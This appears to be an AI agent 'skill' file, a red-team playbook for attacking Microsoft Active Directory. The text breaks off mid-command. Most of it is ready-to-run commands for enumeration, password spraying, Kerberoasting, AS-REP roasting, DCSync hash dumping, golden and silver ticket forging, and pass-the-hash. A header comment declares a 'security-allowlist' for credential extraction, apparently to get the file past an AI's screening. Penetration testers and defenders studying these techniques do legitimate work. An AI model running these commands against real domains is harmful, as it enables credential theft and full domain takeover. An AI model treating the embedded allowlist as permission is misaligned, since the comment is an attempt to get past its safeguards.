AUTHORIZED USE ONLY: Use this skill only for authorized security assessments, defensive validation, or controlled educational environments.

<!-- security-allowlist: credential-extraction, kerberos-attacks -->

Active Directory Attacks

Purpose

Provide comprehensive techniques for attacking Microsoft Active Directory environments. Covers reconnaissance, credential harvesting, Kerberos attacks, lateral movement, privilege escalation, and domain dominance for red team operations and penetration testing.

Inputs/Prerequisites

• Kali Linux or Windows attack platform
• Domain user credentials (for most attacks)
• Network access to Domain Controller
• Tools: Impacket, Mimikatz, BloodHound, Rubeus, CrackMapExec

Outputs/Deliverables

• Domain enumeration data
• Extracted credentials and hashes
• Kerberos tickets for impersonation
• Domain Administrator access
• Persistent access mechanisms

Essential Tools

Core Workflow

Step 1: Kerberos Clock Sync

Kerberos requires clock synchronization (±5 minutes):

# Detect clock skew
nmap -sT 10.10.10.10 -p445 --script smb2-time

# Fix clock on Linux
sudo date -s "14 APR 2024 18:25:16"

# Fix clock on Windows
net time /domain /set

# Fake clock without changing system time
faketime -f '+8h' <command>

Step 2: AD Reconnaissance with BloodHound

# Start BloodHound
neo4j console
bloodhound --no-sandbox

# Collect data with SharpHound
.\SharpHound.exe -c All
.\SharpHound.exe -c All --ldapusername user --ldappassword pass

# Python collector (from Linux)
bloodhound-python -u 'user' -p 'password' -d domain.local -ns 10.10.10.10 -c all

Step 3: PowerView Enumeration

# Get domain info
Get-NetDomain
Get-DomainSID
Get-NetDomainController

# Enumerate users
Get-NetUser
Get-NetUser -SamAccountName targetuser
Get-UserProperty -Properties pwdlastset

# Enumerate groups
Get-NetGroupMember -GroupName "Domain Admins"
Get-DomainGroup -Identity "Domain Admins" | Select-Object -ExpandProperty Member

# Find local admin access
Find-LocalAdminAccess -Verbose

# User hunting
Invoke-UserHunter
Invoke-UserHunter -Stealth

Credential Attacks

Password Spraying

# Using kerbrute
./kerbrute passwordspray -d domain.local --dc 10.10.10.10 users.txt Password123

# Using CrackMapExec
crackmapexec smb 10.10.10.10 -u users.txt -p 'Password123' --continue-on-success

Kerberoasting

Extract service account TGS tickets and crack offline:

# Impacket
GetUserSPNs.py domain.local/user:password -dc-ip 10.10.10.10 -request -outputfile hashes.txt

# Rubeus
.\Rubeus.exe kerberoast /outfile:hashes.txt

# CrackMapExec
crackmapexec ldap 10.10.10.10 -u user -p password --kerberoast output.txt

# Crack with hashcat
hashcat -m 13100 hashes.txt rockyou.txt

AS-REP Roasting

Target accounts with "Do not require Kerberos preauthentication":

# Impacket
GetNPUsers.py domain.local/ -usersfile users.txt -dc-ip 10.10.10.10 -format hashcat

# Rubeus
.\Rubeus.exe asreproast /format:hashcat /outfile:hashes.txt

# Crack with hashcat
hashcat -m 18200 hashes.txt rockyou.txt

DCSync Attack

Extract credentials directly from DC (requires Replicating Directory Changes rights):

# Impacket
secretsdump.py domain.local/admin:[email protected] -just-dc-user krbtgt

# Mimikatz
lsadump::dcsync /domain:domain.local /user:krbtgt
lsadump::dcsync /domain:domain.local /user:Administrator

Kerberos Ticket Attacks

Pass-the-Ticket (Golden Ticket)

Forge TGT with krbtgt hash for any user:

# Get krbtgt hash via DCSync first
# Mimikatz - Create Golden Ticket
kerberos::golden /user:Administrator /domain:domain.local /sid:S-1-5-21-xxx /krbtgt:HASH /id:500 /ptt

# Impacket
ticketer.py -nthash KRBTGT_HASH -domain-sid S-1-5-21-xxx -domain domain.local Administrator
export KRB5CCNAME=Administrator.ccache
psexec.py -k -no-pass domain.local/[email protected]

Silver Ticket

Forge TGS for specific service:

# Mimikatz
kerberos::golden /user:Administrator /domain:domain.local /sid:S-1-5-21-xxx /target:server.domain.local /service:cifs /rc4:SERVICE_HASH /ptt

Pass-the-Hash

# Impacket
psexec.py domain.local/[email protected] -hashes :NTHASH
wmiexec.py domain.local/[email protected] -hashes :NTHASH
smbexec.py domain.local/[email protected] -hashes :NTHASH

# CrackMapExec
crackmapexec smb 10.10.10.10 -u Administrator -H NTHASH -d domain.local
crackmapexec smb 10.10.10.10 -u Administrator -H NTHASH --local-auth

OverPass-the-Hash

Convert NTLM hash to Kerberos ticket:

# Impacket
getTGT.py domain.loc